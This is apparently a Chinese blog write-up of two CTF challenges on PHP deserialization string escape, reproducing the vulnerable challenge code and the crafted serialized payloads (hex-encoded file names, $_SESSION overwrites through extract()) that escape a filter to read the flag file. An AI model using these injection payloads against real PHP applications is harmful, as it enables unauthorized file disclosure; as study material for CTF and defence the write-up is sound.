CTF反序列化逃逸
刷了一下CTF反序列化的题,去年没有好好了解。又补了一次PHP,害太菜了。每天看看别人的博客真的可以鼓舞人。简单记录一下两道字符串逃逸问题
推荐一个反序列化总结的很好的笔记https://www.cnblogs.com/wjrblogs/p/12800358.html
//变长 直接构造多个关键词,这样就能逃出几个字符
<?php
error_reporting(255);
class A
{
public $filename = __FILE__;
public function __destruct()
{
highlight_file($this->filename);
}
}
function waf($s)
{
return preg_replace('/flag/i', 'index', $s);
}
if (isset($_REQUEST['x']) && is_string($_REQUEST['x'])) {
$a = [
0 => $_REQUEST['x'],
1 => '1'
];
@unserialize(waf(serialize($a)));
} else {
new A();
}
flag->index 长度增加1 逃逸的长度为49 所以需要49的flag
";i:0;O:1:"A":1:{s:8:"filename";s:8:"flag.php";}}
(waf(serialize($a)) ------ flag index 替换了所以[flag.php]要用16进制 然后 s:8 其中S必须大写才会存在16进制
";i:0;O:1:"A":1:{s:8:"filename";s:8:"\66\6c\61\67\2E\70\68\70";}} // i:0 键名无所谓已近到下一层了
//变短 通过键逃逸和值逃逸--------分析思路 先分析再做题 不然思路真的很乱
<?php
$function = @$_GET['f'];
function filter($img)
{
$filter_arr = array('php', 'flag', 'php5', 'php4', 'fl1g');
$filter = '/' . implode('|', $filter_arr) . '/i';
return preg_replace($filter, '', $img);
}
if (@$_SESSION) {
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if (!$function) {
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if (@!$_GET['img_path']) {
$_SESSION['img'] = base64_encode('guest_img.png');
} else {
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if ($function == 'highlight_file') {
highlight_file('index.php');
} else if ($function == 'phpinfo') {
eval('phpinfo();'); //maybe you can find something in here!
} else if ($function == 'show_image') {
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
$serialize_info = filter(serialize($_SESSION)); 序列化 SESSION数组并且过滤 然后看到$function == 'phpinfo'
我们去phpinfo查看很容易看到d0g3_f1ag.php和PHP处理器
但是这个题目里没有读取session文件,这个题只是把$SESSION数组进行了serialize().这种地方不要因为看到php处理器而犯迷糊。
所以我们大概明确了就是
$userinfo['img']=d0g3_f1ag.php 或者 base64_decode($userinfo['img'])=ZDBnM19mMWFnLnBocA==即可
其中$_SESSION['user']之后有一个extract($_POST); 根据extract()我们可以进行变量覆盖
extract() 函数从数组中将变量导入到当前的符号表,该函数使用数组键名作为变量名,使用数组键值作为变量值
<?php
$_SESSION["user"] = 'guest';
$_SESSION["funtion"] = 'xxx';
extract($_GET);
var_dump($_SESSION);
请求?_SESSION[test]=xxx
array (size=1)
'test' => string 'xxx' (length=3)
值逃逸:需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对~~
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";} //后面加的是为了键和值保持一致 随便 加前面用_SESSION[xx]=xxx同理
这样我们需要把下一个的键和值当成第一个的值, x代表数字 下一个的值和键需要多少位 然后flag构造多少 因为flag->NULL了。
_SESSION[user]=flagflagflagflagflagflag ==> s:4:"user";s:x:""
其中最后一个"会给下一个键一起成为上一个的值
_SESSION[function]=a ==> s:7:function;s:x:""
s:4:"user";s:24:"[";s:8:"function";s:59:"a]" //括号是值
//键逃逸`,这儿只需要一个键值对就行了,我们直接构造会被过滤的键,这样值得一部分充当键,剩下得一部分作为单独得键值对~~
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
s:7:"flagphp [";s:67:] ";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
过滤的键然后他的值的属性 成为键的值 先计算键的值然后再去构造键。然后查看源代码
<?php
$flag = 'flag in /d0g3_fllllllag';
?>
将/d0g3_fllllllag base64编码就好。
参考:https://blog.csdn.net/a3320315/article/details/104118688/
CTF反序列化逃逸的更多相关文章
- [0CTF 2016]piapiapia(反序列逃逸)
我尝试了几种payload,发现有两种情况. 第一种:Invalid user name 第二种:Invalid user name or password 第一步想到的是盲注或者报错,因为fuzz一 ...
- BUUCTF[归纳]sql注入相关题目
这是我自己对于sql注入的部分ctf题型的归纳,均来自buuctf的平台环境. [0CTF 2016]piapiapia 我尝试了几种payload,发现有两种情况. 第一种:Invalid user ...
- php代码审计整理
目录 变量覆盖 1x01.extract 变量覆盖 定义和用法 语法 漏洞产生:使用了默认设置 攻击方法:制造变量名冲突,对于需要相等的值可以同时置空 修复:设定一个冲突时的处理规则 例题: 1x02 ...
- 2020新春公益赛 writeup
简单的招聘系统 无需注册账号,admin'or 1#登陆,到blank page页面,在输入key处发现有注入点: /pages-blank.php?key=1%27+union+select+1%2 ...
- BUUCTF知识记录
[强网杯 2019]随便注 先尝试普通的注入 发现注入成功了,接下来走流程的时候碰到了问题 发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update, ...
- UNCTF2020 web writeup
1.Easy_ssrf 给了file_get_contents,直接读取flag即可 2.Easyunserialize 利用点在 构造uname反序列化逃逸即可 3.Babyeval 两个过滤,绕过 ...
- 从一道ctf看php反序列化漏洞的应用场景
目录 0x00 first 前几天joomla爆出个反序列化漏洞,原因是因为对序列化后的字符进行过滤,导致用户可控字符溢出,从而控制序列化内容,配合对象注入导致RCE.刚好今天刷CTF题时遇到了一个类 ...
- 详解PHP反序列化中的字符逃逸
首发先知社区,https://xz.aliyun.com/t/6718/ PHP 反序列化字符逃逸 下述所有测试均在 php 7.1.13 nts 下完成 先说几个特性,PHP 在反序列化时,对类中不 ...
- GYCTF easyphp 【反序列化配合字符逃逸】
基础知识可以参考我之前写的那个 0CTF 2016 piapiapia 那个题只是简单记录了一下,学习了一下php反序列化的思路 https://www.cnblogs.com/tiaopideju ...
随机推荐
- 压力测试工具JMeter简单使用
场景:项目上线前自测服务器抗压能力or提供数据给品牌方展示 注意:测试单台机器不要使用很大的线程.每台机器的配置不同,"聚合报告"中的Error也不同. 如:20000线程请求,1 ...
- android设置时钟
<TextClock android:id="@+id/timeText" android:layout_width="match_pa ...
- vue 安装sass5.0版本遇到的问题
cnpm install node-sass@4.9.2 --save-dev cnpm install sass-loader@7.3.1 --save-dev cnpm install style ...
- 本地软件仓库配置及NFS安装
[root@localhost ~]# mount /dev/cdrom /mnt mount: /dev/sr0 is write-protected, mounting read-only [ro ...
- volatile 关键字笔记
你应该知道的 volatile 关键字 当一个变量被 volatile 修饰时,任何线程对它的写操作都会立即刷新到主内存中,并且会强制让缓存了该变量的线程中的数据清空,必须从主内存重新读取最新数据. ...
- oracle实现通过logminer实现日志抓取分析
场景:现场库到前置库. 思考:使用触发器? 1.侵入性解决方案 2.需要时各种配置,不需要时又是各种配置 Change Data Capture:捕捉变化的数据,通过日志监测并捕获数据库的变动(包括数 ...
- Python+Selenium学习笔记15 - 读取txt和csv文件
读取txt的内容并用百度查找搜索 1 # coding = utf-8 2 3 from selenium import webdriver 4 import time 5 6 # 打开浏览器 7 d ...
- 使用ubuntu charmed kubernetes 部署一套生产环境的集群
官方文档: https://ubuntu.com/kubernetes/docs 搭建一个基本的集群 集群ip规划 hostname ip ubuntu-1 10.0.0.10 juju-contro ...
- 达芬奇架构NPU
达芬奇架构NPU 达芬奇架构的核心优势是什么?如何更好地赋能麒麟990? 达芬奇架构,是华为自研的面向AI计算特征的全新计算架构,具备高算力.高能效.灵活可裁剪的特性,是实现万物智能的重要基础.具体来 ...
- 全卷积网络Fully Convolutional Networks (FCN)实战
全卷积网络Fully Convolutional Networks (FCN)实战 使用图像中的每个像素进行类别预测的语义分割.全卷积网络(FCN)使用卷积神经网络将图像像素转换为像素类别.与之前介绍 ...